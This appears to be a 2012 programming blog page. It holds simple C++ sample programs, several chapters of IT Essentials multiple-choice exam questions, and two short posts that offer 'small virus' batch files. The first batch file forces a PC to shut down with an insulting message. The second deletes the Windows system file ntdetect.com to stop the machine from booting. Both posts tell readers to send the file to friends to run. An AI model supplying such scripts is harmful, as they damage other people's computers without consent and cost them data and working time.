Popular Posts

6/24/2012

Sample Operator in C++




#include<iostream.h>
#include<math.h>
class Rectangle{
private:
float l,w;
public:
Rectangle(float l1,float w1){w=w1;l=l1;}
void output();
Rectangle operator =(float s);
Rectangle operator +(Rectangle p);
float operator -(Rectangle p);
int operator > (Rectangle p);
int operator ==(Rectangle p);
float operator *();
float operator !();
float area();
};
void Rectangle::output(){
cout<<w<<"\t"<<l<<endl;
}
float Rectangle::area(){
return l*w;
}
Rectangle Rectangle::operator = (float s){
float w1,l1;
w1=sqrt(s/2);
l1=2*w;
return Rectangle (l1,w1);
}
Rectangle Rectangle::operator + (Rectangle p){
float w1,l1;
l1=l+p.l;
w1=w+p.w;
return Rectangle (l1,w1);
}
float Rectangle::operator -(Rectangle p){
return fabs(area()-p.area());
}
int Rectangle::operator > (Rectangle p){
return (area()>p.area());
}
int Rectangle::operator ==(Rectangle p){
return (area()==p.area());
}
float Rectangle:: operator *(){
return area();
}
float Rectangle::operator !(){
float d;
d=sqrt(l*l+w*w);
return d;
}
void main(){
Rectangle p1(20,10),p2(40,80),p3(30,90);
cout<<"Initialize data"<<endl;
p1.output();
p2.output();
p3.output();
cout<<"========================="<<endl;
p1=72.0; p1.output();
p3=p1+p2; p3.output();
float s1,s2,s3;
s1=p1-p2;cout<<"s1="<<s1<<endl;
s2=*p1;cout<<"Area of p1="<<s2<<endl;
s3=!p1; cout<<"Diagonal of p1="<<s3<<endl;
if (p1>p2) cout<<"Area of p1>p2:"<<endl;
else if (p1==p2) cout<<"Area of p1==p2"<<endl;
else cout<<"Area of p1<p2"<<endl;
cout<<p1.area();
cout<<*p1;
cout<<!p1;
                  }
//Leave us a command if u like this post ..!

Sample Overload in C++




The Following code :
=========================

#include<iostream.h>
#include<conio.h>
#include<math.h>
class Rectangle{
private:
float l,w;
public:
 Rectangle(float L=0,float W=0):l(L),w(W){}
 void Output(){cout<<"L="<<l<<"\tW="<<w<<"\tArea="<<area()<<endl;}
 Rectangle operator=(float s);
 Rectangle operator+(Rectangle p);
 float operator -(Rectangle p);
 int operator >(Rectangle p);
 int operator ==(Rectangle p);
 float operator *();
 float operator!();
 float area(){return l*w;}
};
Rectangle Rectangle::operator=(float s){
//float w1,l1;
w=sqrt(s/2);
l=2*w;
return Rectangle(l,w);
}
Rectangle Rectangle::operator+(Rectangle p){
float w1,l1;
l1=l+p.l;
w1=w+p.w;
return Rectangle(l1,w1);
}
float Rectangle::operator-(Rectangle p){
return fabs(area()-p.area());
}
int Rectangle::operator>(Rectangle p){
return (area()>p.area());
}
int Rectangle::operator==(Rectangle p){
return (area()==p.area());
}
float Rectangle::operator*(){
return area();
}
float Rectangle::operator!(){
float d;
d=sqrt(l*l+w*w);
return d;
}
void main(){Rectangle p1(20,10),p2(10,5),p3(40,30);
cout<<"Output befor Overload:"<<endl;
p1.Output();
p2.Output();
p3.Output();
cout<<"after overload:"<<endl;
p1=10.0;p1.Output();
p3=p1+p2;p3.Output();
float s1,s2,s3;
s1=p1-p2;cout<<"S1="<<s1<<endl;
s2=*p1;cout<<"s2="<<s2<<endl;
s3=!p1;cout<<"Area of p1="<<s3<<endl;
if(p1>p2)cout<<"Area of p1>p2:"<<endl;
else if(p1==p2)cout<<"Area of p1=p2:"<<endl;
else cout<<"Area of p1<p2:"<<endl;
}
//Leave us a command here ..!

Sample Input Show, Search, Insert, Delete, Update, Sort of C++



The following cod :
==============================

#include<iostream.h>
#include<conio.h>
#include<stdlib.h>
struct nodetype
{ char info;
struct nodetype *next;
};
nodetype *getnode()
{ nodetype *p;
p=new nodetype;
return p;
}
typedef struct nodetype *pointertype;
void initialize(pointertype &plist)
{  plist=getnode();
plist->next=getnode();
plist->next=plist;
plist=NULL;
}
void freenode(pointertype &p)
{ free(p);
}
void clearlist(pointertype *plist)
{ *plist=NULL;
}
void Insertfirst(pointertype &plist,char item)
{ pointertype ptr;
ptr=getnode();
ptr->info=item;
ptr->next=plist->next;
plist->next=ptr;
}
void Insertafter(pointertype &plist,char data,char item)
{ pointertype ptr,p;
p=plist->next;
do
{ p=p->next;
if(p->next==plist->next)
break;
if(p->info==data)
break;
}while(p->info!=data);
if(p->info==data)
{  ptr=getnode();
ptr->info=item;
ptr->next=p->next;
p->next=ptr;
}
}
void Insertend(pointertype &plist,char item)
{ pointertype ptr;
ptr=getnode();
ptr->info=item;
ptr->next=plist->next;
plist->next=ptr;
plist=ptr;
}
void SortDec(pointertype &plist)
{ pointertype p,q;
char temp;
for(p=plist;p->next!=NULL;p=p->next)
for(q=p->next; q!=NULL; q=q->next)
if(p->info<q->info)
{ temp=p->info;
p->info=q->info;
q->info=temp;
}
}
void SortInc(pointertype &plist)
{ pointertype p,q;
char temp;
for(p=plist;p->next!=NULL;p=p->next)
for(q=p->next; q!=NULL; q=q->next)
if(p->info>q->info)
{ temp=p->info;
p->info=q->info;
q->info=temp;
}
}
void search(pointertype plist,char item)
{ int f=0;
pointertype p=plist->next;
do
{ if(p->info==item)
{ cout<<&p->next<<'\t'<<p->info<<endl;
f=1;
}
p=p->next;
}while(p!=plist->next);
if(f==0)
cout<<"Not found"<<endl;
}
void deletefirst(pointertype &plist)
{ pointertype ptr=plist->next;
plist->next=ptr->next;
}
void deleteafter(pointertype &plist,char data)
{ pointertype p=plist->next,ptr;
do
{ if(p->info==data)
{ ptr=p->next;
p->next=ptr->next;
freenode(ptr);
break;
}
p=p->next;
}while(p!=plist->next);
}
void deleteend(pointertype &plist)
{ pointertype p,p1;
p=plist->next;
p1=plist;
while(p->next!=plist)
p=p->next;
p->next=plist->next;
   freenode(p1);
}
void Traverse(pointertype plist)
{ pointertype p=plist->next;
do
{ cout<<p->info<<'\t';
p=p->next;
}while(p!=plist->next);
}
void update(pointertype &plist,char data, char item)
{ pointertype p;
p=plist;
while(p->info!=item)
p=p->next;
p->info=data;
}
void main()
{  char menu[8][10]={"Input", "Show", "Search", "Insert", "Delete", "Update","Sort", "Exit"};
pointertype plist;
char ch;
do
{
for(int i=0;i<8;i++)
cout<<endl<<"["<<(i+1)<<"]."<<menu[i];
ch=getch();
clrscr();
if(ch=='1')
{  initialize(plist);
int n;
cout<<"Enter n:";
cin>>n;
char item;
for(int i=0;i<n;i++)
{ cout<<"Enter item:";
cin>>item;
if(plist==NULL)
{ plist=getnode();
plist->info=item;
plist->next=plist;
}
else
Insertfirst(plist,item);
}
}
else if (ch=='2')
{  Traverse(plist);
getch();
}

else if(ch=='3')
{  char data;
cout<<"Enter data u want search:";
cin>>data;
search(plist,data);
getch();
}
else if(ch=='4')
{  cout<<endl;
Traverse(plist);
cout<<endl;
char item;
cout<<"Enter Data u want to insert:";
cin>>item;
cout<<"[1].Insert First\n[2].Insert After\n[3].Insert End";
char ch;
ch=getch();
if(plist==NULL)
{ plist=getnode();
plist->info=item;
plist->next=plist;
}
else
switch(ch)
{ case '1': Insertfirst(plist,item);
break;
case '2': cout<<"\nEnter item which data after it insert:";
char data;
cin>>data;
Insertafter(plist,data,item);
break;
case '3': Insertend(plist,item);
break;
}
}
else if(ch=='5')
{  cout<<endl;
Traverse(plist);
cout<<endl;
cout<<"[1].Delete First\n[2].Delete After\n[3].Delete End";
char ch;
ch=getch();
if(plist==NULL)
cout<<"Nothing to delete!";
else
switch(ch)
{ case '1': deletefirst(plist);
break;
case '2': cout<<"\nEnter item which data after it will delete:";
char data;
cin>>data;
deleteafter(plist,data);
break;
case '3': deleteend(plist);
break;
}
}/*
else if(ch=='6')
{  cout<<endl;
Traverse(plist);
cout<<endl;
cout<<"Enter item u want to update:";
char item;
cin>>item;
cout<<"Enter new data:";
char data;
cin>>data;
update(plist,data,item);
}
else if(ch=='7')
{  cout<<endl;
Traverse(plist);
cout<<endl;
cout<<"[1].Decrease Sort\n[2].Increase Sort";
char ch;
ch=getch();
switch(ch)
{ case '1': SortDec(plist);
break;
case '2': SortInc(plist);
break;
}
}
*/
else if(ch=='8')
exit(0);
clrscr();
}while(ch!=27);

}
//Leave us a command for it ..!

Sample Cylinder C++ Code



You can see the following code :


//Sample Cylinder C++ ...!
//The following code
//Royal University of Phnom Penh
#include<iostream.h>
#include<math.h>
#include<string.h>
class Solid {
public:
enum type{CY,CU,PI};
virtual void output()=0;
//virtual void input()=0;
virtual float volume()=0;
virtual type objType()=0;
};
class Cylinder:public Solid
{
private:
float r,h;
public:
Cylinder(float r1=0,float h1=0){r=r1;h=h1;}
virtual void output(){cout<<"r:"<<r<<"\t"<<"h:"<<h<<endl; }
//virtual void input();
virtual float volume(){return 3.14*r*r*h;}
virtual type objType(){ return Solid::CY; }
};
class Cube:public Solid
{
private: float l,w,h;
public: Cube(float l1=0,float w1=0,float h1=0){l=l1;w=w1;h=h1;}
virtual void output(){cout<<"l:"<<l<<"\t"<<"w:"<<"\t"<<w<<"h:"<<h<<endl;}
//virtual void input();
virtual float volume(){return l*w*h;}
virtual type objType(){ return Solid::CU; }
};
class Pyramid:public Solid{
private: float s1,s2,s3,h;
public:
Pyramid(float ss1=0,float ss2=0,float ss3=0,float h1=0){s1=ss1;s2=ss2;s3=ss3;h=h1;}
virtual void output(){cout<<"s1:"<<s1<<"\t"<<"s2"<<s2<<"\t"<<"s3"<<s3<<"\t"<<"h:"<<h<<endl; }
virtual float volume(){ float p=0,s=0,v=0;
p=(s1+s2+s3)/2;
s=sqrt((p*(p-s1)*(p-s2)*(p-s3)));
v=s*h/3;
return v;
}
virtual type objType(){ return Solid::PI; }
};
void main(){
Solid *p[6]={new Cylinder (25,12),new Cube(10,15,20),new Pyramid(12,13,15,20),new Cylinder(12,32),new Cube(20,20,12),new Pyramid(21,40,21,12)};
cout<<"All solid:"<<endl;
for(int i=0;i<6;i++)
 p[i]->output();
cout<<"Cylinder only:"<<endl;
float s=0;
for(i=0;i<6;i++)
if(p[i]->objType()==Solid::CY){
p[i]->output();
s=s+p[i]->volume();
}
cout<<"Total volume of Cylinder:"<<s<<endl;
cout<<"Cube only:"<<endl;
s=0;
for(i=0;i<6;i++)
if(p[i]->objType()==Solid::CU){
p[i]->output();
s=s+p[i]->volume();
}
cout<<"Total volume of Cube:"<<s<<endl;
cout<<"Pyramid only:"<<endl;
s=0;
for(i=0;i<6;i++)
if(p[i]->objType()==Solid::PI){
p[i]->output();
s=s+p[i]->volume();
}
cout<<"Total volume of Pyramid:"<<s<<endl;
}

6/23/2012

ITE Exam Chapter 5 (Question and Answer)

ITE Exam Chapter 5 (Question and Answer)


1. Which mode allows applications that are not compatible with the current operating system to run in an environment that simulates an earlier operating system?
real mode
protected mode
virtual real mode
compatibility mode

2. What is the term for the ability of an operating system to run multiple applications at the same time?
multiuser
multitasking
multithreading
multiprocessing

3. When troubleshooting a printer problem, a technician finds that the operating system was automatically updated with a corrupt device driver. Which solution would resolve this issue?
Roll back the driver.
Restart both the computer and the printer.
Scan the downloaded driver file with a virus scanner.
Use the Last Known Good Configuration to restart the computer.

4. Once minimum hardware requirements are satisfied, where should a technician look to determine if the computer hardware has been tested with Windows XP?
the Microsoft Compatibility Assistant
the Windows XP Hardware Compatibility List
the Microsoft Knowledge Base
the Windows XP manual

5. A technician has installed new video drivers on a Windows XP computer and now the monitor shows distorted images. What startup mode can the technician use to access a new driver on the network?
Safe Mode
Safe Mode with Networking Support
Real Mode with Networking Support
Safe Mode with Rollback Support

6. Which directory contains Windows XP OS system files?
C:\WINNT
C:\WINDOWS
C:\Program Files
C:\Documents and Settings

7. A company with 40 computers needs to reduce repair costs, decrease downtime, and improve reliability. Which task will meet these needs?
Enact a comprehensive security policy.
Upgrade all the operating systems.
Develop a preventive maintenance plan.
Create an Automated System Recovery CD.

8. A technician has a computer that is unable to boot Windows XP properly. The technician has decided that it is necessary to attempt a repair of XP. Which utility will be run if the technician selects Repair XP from the XP boot disk?
Recovery Console
Windows Disk Manager
msconfig
fix /mbr

9. A technician has finished installing Windows XP. What should the technician do to verify that all hardware has been installed correctly?
Run HWINFO.EXE to verify that all devices are listed.
Use the Windows XP Msconfig utility to prove that all the devices are operational.
Use the Windows XP Testall utility to confirm that the devices are operational.
Use the Device Manager utility to ensure that all the devices are operational.

10. A technician needs to upgrade the file system on a Windows XP computer from FAT32 to NTFS. Which course of action should be taken to upgrade the file system to NTFS?
Format all the existing files with the NTFS File tool.
Create a new NTFS partition and copy the files into the new partition. The existing partition can not be changed.
Run the Microsoft Convert utility.
Overwrite the FAT32 file system with NTFS. Files will automatically be added to the new file system.



11. Which set of guidelines is used to ensure that programmers develop applications that are compatible with an operating system?
ACAPI
API
IRQ
PnP

12. Which operating mode is used by Windows XP to run a DOS application?
protected mode
64-bit mode
virtual real mode
real mode

13. What would be the result of having a corrupt Master Boot Record?
A new application will fail to install.
The operating system will fail to start.
The printer will function incorrectly.
The keyboard will be unresponsive to the user.

14. A technician thinks that the file system on a computer has a problem because Windows XP is reporting data integrity issues. Which Windows XP utility will check the file system for errors?
Attrib
Chkdsk
Fdisk
Format

15. Which two operating systems can function correctly on a system with 64 MB of RAM? (Choose two.)
Windows XP Home
Windows XP Professional
Windows XP Media Center
Windows Vista Home Basic
Windows Vista Home Premium

16. What are two features of the Microsoft Management Console (MMC)? (Choose two.)
MMC logs a history of application events.
It organizes operating system snap-ins.
It can be used to create customized MMCs.
It displays computer performance information.
It enables virtual memory settings to be customized.

17. A user decides to install a new version of Windows Vista but needs to retain the configurations and customizations of the current Windows XP operating system. Which software can be used to achieve this?
Windows Task Manager
Windows Vista Setup Wizard
Microsoft Management Console
Windows User State Migration Tool

18. How much RAM can be addressed by a 64-bit operating system?
4 GB maximum
16 GB maximum
32 GB maximum
64 GB maximum
128 GB or more

19. Which registry file contains information about the hardware and software in the computer system?
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

20. When a computer boots from the Windows Vista disc, which three functions are performed if the Custom (advanced) option is selected? (Choose three.)
Existing files and settings are kept.
Changes to disk partitions can be made.
A clean copy of Windows Vista is installed.
The existing Windows installation is repaired.
The location of the Windows installation can be selected.
The Recovery Console can be used to repair the Master Boot Record.

If some answer are incorrect please leave us a command ..!

ITE Exam Chapter 3 (Question and Answer)

ITE Exam Chapter 3 (Question and Answer)



1. What should be the next installation step after all the internal components of a PC have been installed and connected to the motherboard and power supply?
Connect the monitor cable.
Connect the network cable.
Reattach the side panels to the case.
Connect the power cables to the computer.

2. What is the most reliable way for users to buy the correct RAM to upgrade a computer?
Buy RAM that is the same color as the memory sockets on the motherboard.
Ensure that the RAM chip is the same size as the ROM chip.
Ensure that the RAM is compatible with the peripherals installed on the motherboard.
Check the motherboard manual or manufacturer's website.

3. When installing a CPU in a ZIF socket, how should the technician align the pins to avoid damage?
Pin 1 is always aligned with the opposite corner from the base of the lever.
Pin 1 on the CPU is aligned with Pin 1 on the ZIF socket.
Pin 1 is aligned with the corner closest to the memory.
The removed corner of the CPU is always aligned with the corner opposite Pin 1.

4. Where should internal drives be installed in a computer?
in internal bays
on the AGP channel
on the motherboard
on PCIe expansion slots

5. Which two connections should be provided to a floppy disk drive during installation? (Choose two.)
a floppy data cable to connect the FDD to the motherboard
a cable from the power supply to the Berg power connector on the FDD
a cable from the 3-pin fan power connector into the Berg power connector on the FDD
a data cable from the Molex connector of the optical drive to the Berg connector on the FDD
a cable from the 20-pin ATX power connector socket on the motherboard to the Berg power connector on the FDD

6. Which action is recommended to prevent the motherboard from contacting the metal base of the case?
Ensure that the non-conductive side of the case is beneath the motherboard.
Use standoffs to keep the motherboard above the metal base.
Place a non-conductive barrier between the motherboard and the metal base.
Use a self-adhesive non-conductive membrane on the underside of the motherboard.



7. Refer to the exhibit. What is the order of steps that should be followed for a power supply installation in a computer?
Steps 1, 2, 4
Steps 1, 3, 2
Steps 1, 4, 3
Steps 2, 3, 4

8. What is a function of the BIOS?
enables a computer to connect to a network
provides temporary data storage for the CPU
performs a check on all internal components
provides graphic capabilities for games and applications

9. When building a computer, which two components are normally installed in 3.5-inch drive bays? (Choose two.)
hard drive
optical drive
floppy drive
flash drive
video card

10. Which type of drive is installed in a 5.25-inch bay?
hard drive
optical drive
floppy drive
LS120 drive

11. After a technician has assembled a new computer, it is necessary to configure the BIOS. At which point must a key be pressed to start the BIOS setup program?
before the computer is powered on
during the Windows load process
during the POST
after the POST, but before Windows starts to load


12. Refer to the exhibit. Which should be the last step when connecting external cables to a computer?
Step 1
Step 2
Step 3
Step 4
Step 5
Step 6

13. Which two connectors are used to connect external peripherals? (Choose two.)
EIDE
Molex
PATA
PS/2
USB

14. A technician has just finished assembling a new computer. When the computer is powered up for the first time, the POST discovers a problem. How does the POST indicate the error?
It issues a number of short beeps.
The LED on the front of the computer case flashes a number of times.
It places an error message in the BIOS.
It locks the keyboard.

15. A field technician has been asked to install a wireless 802.11g NIC in a computer, but is unsure about the expansion slots available. Which two types of wireless NICs should the technician have available? (Choose two.)
PCIe
AGP
SCSI
PCI
SATA

16. What is a function of a video adapter card?
stores video files in RAM
connects a computer to a video storage device
provides the appropriate drivers for the monitor
provides an interface between a computer and a display monitor

17. What is a convenient way that a technician can tell whether a ribbon cable is for an IDE hard drive or a floppy drive?
The IDE cable has a colored stripe on one edge.
The floppy cable motherboard connector is normally gray.
The IDE cable is gray.
The floppy cable has a twist in the cable.

18. A technician is installing a new power supply in a computer. Which type of power connector should be used to connect to an ATX motherboard?
Berg
mini-Molex
Molex
20-pin connector

19. What is a function of the adapter cards that are installed in a computer?
to transfer external power to the motherboard
to connect the motherboard to internal memory
to connect internal power cables to the motherboard
to provide functionality for external components to be connected to the computer


ITE Exam Chapter 2 (Question and Answer)


ITE Exam Chapter 2 (Question and Answer) Time 1:00 hour

1. Which step should be performed first when servicing computer equipment?
Wipe down the exterior with a lint-free, damp soft cloth.
Open the case and check for any loose connections.
Turn off and remove the power source.
Replace any suspected bad components with known good components.

2. Why is documentation of all services and repairs an important organizational tool for a technician?
It allows for public sharing on the Internet.
It increases the cost of services and repairs.
It minimizes the requirements that are used when hiring new technicians.
It provides reference material for similar problems when such problems are encountered in the future.

3. A technician has a room of computers which are running very hot. The technician discovers that the heat sinks in the computers are very dusty. What should the technician use to clean the heat sinks?
mild cleaning solution
lint-free cloth
isopropyl alcohol
compressed air

4. What are two significant sources of EMI? (Choose two.)
infrared mice
RAM modules
electrical storms
LCD monitors
power lines

5. Which condition refers to a sudden and dramatic increase in voltage, which is usually caused by lightning?
brownout
sag
spike
static discharge

6. Which three computer components contain hazardous materials and require special handling for disposal? (Choose three.)
batteries
floppy drives
monitors
optical drives
parallel cables
printer toner cartridges

7. Which tool should be used if a user needs to optimize space on a hard drive?
Defrag
Disk Management
Fdisk
Format

8. Which two types of tools can help protect a computer from malicious attacks? (Choose two.)
Antivirus software
Disk Cleanup
Disk Management
Fdisk
Scandisk
Spyware Remover

9. Which two devices commonly affect wireless LANs? (Choose two.)
Blu-ray players
home theaters
wireless phones
microwaves
incandescent light bulbs
external hard drives

10. Which tool in Windows XP gives a technician access to initialize disks and create partitions?
Defrag
Disk Cleanup
Disk Management
Format
Scandisk

11. Which computer components must a technician never try to work on when wearing an antistatic wrist strap?
CPU
hard disk
keyboard
CRT monitor
RAM module

12. Which two tools are recommended for cleaning a PC? (Choose two.)
antibacterial spray
compressed air
mild abrasive detergent
nylon brush
rubbing alcohol
soft cloth

13. Which precaution should be taken when working around electronic devices?
Avoid using magnetized tools.
Only use hand tools from the same vendor.
Wear ESD protection to repair monitors in humid environments.
Avoid using ESD wrist straps and ESD mats simultaneously.



14. Refer to the exhibit. Which type of tool is presented in the graphic?
hex screwdriver
stripped screwdriver
Phillips-head screwdriver
flat-head screwdriver

15. How does a technician discharge static buildup?
touching the painted part of the computer case
touching an unpainted part of the computer case
touching an antistatic wrist strap before touching any computer equipment
touching an antistatic mat before touching any computer equipment


16. Refer to the exhibit. Which type of tool is shown in the graphic?
cable meter
digital multimeter
network traffic monitor
electrostatic discharger

17. The performance of a computer is reduced after it has been using the Internet. Which three tools could be run to try to improve the performance of the computer? (Choose three.)
Fdisk
Spyware Remover
Defrag
Disk Cleanup
a BIOS updater
Device Manager Utility

18. Which Windows XP command-line utility scans the critical files of the operating system and replaces any files that have been corrupted?
Chkdsk
Defrag
Disk Cleanup
Disk Management
Scan System
System File Checker

19. Why should an antistatic wrist strap be worn when working on electronic equipment?
to prevent interference from clothing and loose jewelry
to equalize the electrical charge between a person and the equipment
to prevent clothing made of silk, polyester, or wool from generating a static charge
to draw static electricity away from a component and transfer it safely from equipment to a grounding point

20. Which two tools can help protect against ESD? (Choose two.)
antistatic wrist strap
compressed air
antistatic mat
safety glasses
polyester clothing

Leave a command if some answers are wrong ..!

ITE Exam Chapter 1 (Question and Answer)


ITE Exam Chapter 1 (Question and Answer) 2012

1. How many FireWire devices can be supported by a single FireWire port?
12
25
32
54
63
127


2. Refer to the exhibit. Based on the advertisement that is shown, what is the native resolution of this computer system?
8x
3 GB
2.0 GHz
1919 MB
1280 x 800
13.35 x 9.57

3.Which three system resources are commonly used for communication between the CPU or memory and other components in the computer? (Choose three.)
IRQ
DMA
UDP
I/O address
USB
PnP

4. A technician creates a simple circuit that has a 9 V light bulb attached to a 9 V battery. The power output of the light bulb is 100 W. Which equation should be used to calculate how much current in amps is required to achieve the full 100 W output from the 9 V bulb?
I = P/V = 100W/9V = 11.11A
I = P*V = 100W*9V = 900A
I = (P/2)*V = 50W*9V = 450A
I = P*2*V = 100W*(9V + 9V) = 8100A

5.What are two factors that must be considered when choosing a computer case? (Choose two.)
the size of the monitor
the vendor that manufactured the motherboard
the number of external or internal drive locations
the size of the motherboard and the power supply
the number of LED indicators at the front of the case

6. Which type of ROM can be reprogrammed with software while it is still physically installed in the computer?
EEPROM
EPROM
PROM
ROM

7. What is a function of the operating system in a computer?
It defines the physical components in the computer.
It instructs the computer how to process information.
It provides instructions on how to access the Internet.
It identifies the type of firmware that is installed in the computer.

8. Which two form factors are commonly used to build a new computer? (Choose two.)
BTX
NLQ
ATX
CLV
ECC

9. Which memory module has a front side bus speed of 200 MHz?
DDR-333
DDR-400
DDR3-667
PC100 SDRAM

10. Which IEEE standard defines the FireWire technology?
1284
1394
1451
1539


11. What are the two connector types for the 1394a interface? (Choose two.)
2-pin
4-pin
6-pin
8-pin
9-pin
15-pin

12. Which two devices are considered input devices? (Choose two.)
biometric authentication device
printer
digital camera
projector
speakers

13. What is a function of a KVM switch?
digitizes an image or document and sends the information to multiple computers
stores images from both digital still cameras and digital video cameras on magnetic media
provides capability to share a keyboard, a mouse, USB devices, and speakers with multiple computers
provides biometric identification to an individual user by the use of fingerprints, voice recognition, or a retinal scan

14. A student has passed the CompTIA A+ certification exam. Based on this passing score, for which job is the student now qualified?
network associate
security technician
network technician
network professional
PC hardware and software technician

15. A technician receives a complaint of poor image quality after the user changes the native resolution. While investigating the complaint, the technician discovers there is a mismatch between native mode and the native resolution of the peripheral. Which item is configured incorrectly?
EPROM
LCD
printer
scanner

16. Which technology would be best to use for drive redundancy and data protection?
CD
DVD
PATA
RAID
SCSI

17. Which important feature is offered by the USB standard?
A single USB connection to a computer can support up to 255 separate devices.
It offers rates of around 580 Mb/sec in low-speed mode.
It allows up to 920 Mb/sec in the 2.0 version.
It can supply power from the computer to devices.

18. Which three devices are considered output devices? (Choose three.)
fingerprint scanner
headphones
keyboard
monitor
mouse
printer

19. Which type of computer resources are direct lines to the processor and are used by computer components to request attention from the CPU?
DMAs
I/O addresses
IRQs
memory addresses

20. What is the function of a fan on top of a heat sink?
to cool the memory modules
to move the heat away from the CPU
to draw cool air into the computer case
to provide a water-cooling system for extremely fast CPUs


Leave us a command if some answers are incorrect ..! 

6/22/2012

Shutdown your friends PC By Double click


There is a simple way to Shutdown your friends PC using a small virus written in Notepad . So Now let follow the following step :
Step 1 : Open Notepad (Start => Run => Notepad)
Step 2: copy the following code and paste it in notepad


@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid![or anything u like]" -s


Step 3: Save it as extension .bat or .vbs ( Example : name.bat or name.vbs)
then send this file to your friends ..!
Enjoy it ..!

Write a small virus to crash your friends PC


Hey guy. Do you want to crash your friend PC. Ok so now I will Show you how to write a small virus to crash your friends PC.
Step 1 : Open Notepad from your Computer (Start => run => notepad )
Step 2 : Copy the following code and paste it it Notepad ..

echo off
C:
cd..
cd..
cd..
attrib -r -s -h ntdetect.com
del ntdetect.com
echo on
print U r a LOSER.. PC Hack By Khmermega  !!!


Step 3 : save it as extension .bat ( Ex: Run.bat)
then sent this file to your friends ..!
Note : Don't test it in your PC .. You can test it in Virtual Machine or Virtual Box .By Double click on that file .
Enjoyed it .. !
If you like this post don't forget to share it to your friends ..! thanks for your visit ..